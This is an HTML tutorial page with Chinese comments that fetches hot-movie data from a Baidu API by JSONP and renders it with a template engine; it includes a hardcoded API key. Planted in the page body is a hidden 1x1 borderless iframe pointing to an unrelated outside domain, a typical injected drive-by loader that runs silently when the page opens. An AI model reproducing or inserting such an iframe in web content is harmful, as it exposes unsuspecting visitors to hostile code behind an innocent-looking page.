<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>Document</title>
	<style type="text/css">
		td{
			border: 1px solid #0094ff;
		}
	</style>
</head>
<body>
	<input type="button"  value="查看当天的天气预报" id='getWeather'>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
<!-- 导入jq -->
<script type="text/javascript" src='../js/jquery.min.js'></script>
<!-- 导入模板引擎 -->
<script type="text/javascript"  src='../js/template-native.js'></script>

<!-- 定义模板 -->
<script type="text/template" id='template'>
<table>
	<%for(var i=0;i<movie.length;i++){%>
		<tr>
			<td><%=movie[i].movie_name%></td>
			<td><%=movie[i].movie_tags%></td>
			<td><img src="<%=movie[i].movie_picture%>" alt=""></td>
			<td><%=movie[i].movie_score%></td>
			<td><%=movie[i].movie_release_date%></td>
			<td><%=movie[i].movie_starring%></td>
		</tr>
	<%}%>
</table>
</script>

<script type="text/javascript">
/*
	秘钥 需要使用 自己申请
		需要身份验证 为了 避免不必要的资源浪费
	output参数 可以设置 返回的数据 如果记不住 可以在百度 api文档中 查询
*/
	$(function () {
		$("#getWeather").click(function(){
			$.ajax({
				url:' http://api.map.baidu.com/telematics/v3/movie?qt=hot_movie&location=北京&ak=tq0Kt0NFYheTCj5mszast0drkIqqVTNn&output=json',
				dataType:'jsonp',
				success:function(data){
					// 如果 不写 jsonpCallback 那么默认调用的是 success方法
					console.log(data);

					var movieData = data.result;

					// console.log(movieData);

					// 模板引擎
					var resultStr = template('template',movieData);

					$('body').append(resultStr);

			
				}
			})
		})
	})
</script>